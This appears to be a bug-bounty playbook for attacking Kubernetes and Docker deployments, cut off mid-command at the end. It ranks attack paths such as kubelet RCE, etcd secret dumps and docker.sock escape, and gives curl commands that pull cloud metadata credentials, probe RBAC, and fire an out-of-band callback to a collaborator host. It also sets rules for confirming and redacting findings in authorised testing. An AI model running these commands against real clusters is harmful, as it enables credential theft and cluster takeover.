hunt-k8s

# HUNT-K8S — Kubernetes & Docker Security

## Crown Jewel Targets

K8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet `/run` shell pivots one finding to total compromise.

**Highest-value findings:**
- **K8s API anonymous cluster-admin** — `system:anonymous`/`system:unauthenticated` bound to a powerful role (classic misconfig: `system:anonymous` in a `ClusterRoleBinding` to `cluster-admin`) → full `kubectl`. Mere anonymous `200` is NOT this (see false-positive section).
- **Kubelet `10250` exec/run** — `/run` returns command output directly; `/exec` is a SPDY/WebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token.
- **API-server-mediated kubelet RCE** — `/api/v1/nodes/<node>/proxy/run/...` reaches the kubelet *through* the API server using your (low-priv) token; if RBAC grants `nodes/proxy`, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector.
- **etcd `2379` unauth** — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unless `EncryptionConfiguration` is set) → full credential dump.
- **docker.sock exposure** — SSRF/LFI/RCE reaching `/var/run/docker.sock` → create `--privileged` container, bind-mount host `/` → host root.
- **Container escape via runc** — Leaky Vessels (CVE-2024-21626): `WORKDIR`/`process.cwd` pointing at a leaked `/proc/self/fd/<n>` host FD → break out of an attacker-controlled image/exec to host root.
- **SA token abuse** — auto-mounted token at `/var/run/secrets/kubernetes.io/serviceaccount/token`; check its real grants with SelfSubjectRulesReview before claiming impact.
- **K8s Dashboard skip-login / token-less API** — full cluster management UI reachable unauthenticated.

---

## OOB / Confirmation Gate (Read First)

K8s findings are RCE/credential-disclosure class. House rule: **prove state change or data read, never infer from a status code.**

- A `200` on `/api/v1/namespaces` does **not** mean cluster-admin. The API server returns `200` with an RBAC-filtered (often empty `items: []`) list to *any* principal that can reach `list namespaces` — anonymous read on a few resources is common and low-impact. Confirm real privilege with **SelfSubjectRulesReview / SelfSubjectAccessReview**, then by actually reading a Secret value.
- **10255 (read-only) vs 10250 (exec)** are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has `/pods`, `/stats`, `/metrics`, NO exec/run. 10250 (HTTPS) is where `/run` and `/exec` live. Do not report "kubelet RCE" off a 10255 hit.
- **Blind/outbound vectors need OOB.** If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator / interactsh subdomain (e.g. `curl http://<token>.<collab>` from inside the pod via `/run`). A delayed response or an echoed URL is NOT proof.
- **Impact proof = the artifact.** For exec: the literal `id`/`hostname` output. For etcd/Secret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (`/etc/hostname` of the node, distinct from the container's).
- Use a **dedicated test namespace / test pod** when you have create rights; never exec into production workloads to "prove" RCE — list the pod and exec a read-only `id` in a pod you spun up if policy allows, or limit to a single non-destructive `id` and stop.

---

## Phase 1 — Fingerprint & Port Discovery

```bash
# Common Kubernetes / container ports
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open

# API server fingerprint — the /version endpoint is anonymous on most clusters
curl -sk "https://$TARGET:6443/version"        # {"major":"1","minor":"29","gitVersion":"v1.29.x"...}
curl -sk "https://$TARGET:6443/api"             # APIVersions list, even pre-auth
curl -sk "https://$TARGET:6443/healthz"

# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1)
TOK=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2
curl -s -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true"      # Azure AKS
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKE
```
Note the `gitVersion` — it gates every CVE below.

---

## Phase 2 — Kubernetes API Anonymous / Low-Priv Access

```bash
SRV="https://$TARGET:6443"

# 1. What am I? (anonymous → "system:anonymous")
curl -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'

# 2. What can I actually DO? (the only honest privilege check)
curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'

# 3. Targeted access check for the crown-jewel verbs
for R in secrets pods nodes/proxy pods/exec; do
  curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \
   -H 'Content-Type: application/json' \
   -d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"verb\":\"create\",\"resource\":\"${R%%/*}\",\"subresource\":\"${R#*/}\"}}}" \
   | grep -o '"allowed":[a-z]*' | sed "s#^#$R #"
done

# 4. Only if access review says allowed — read a real Secret to prove impact
curl -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")'
# decode one value (redact before reporting):
# echo '<base64>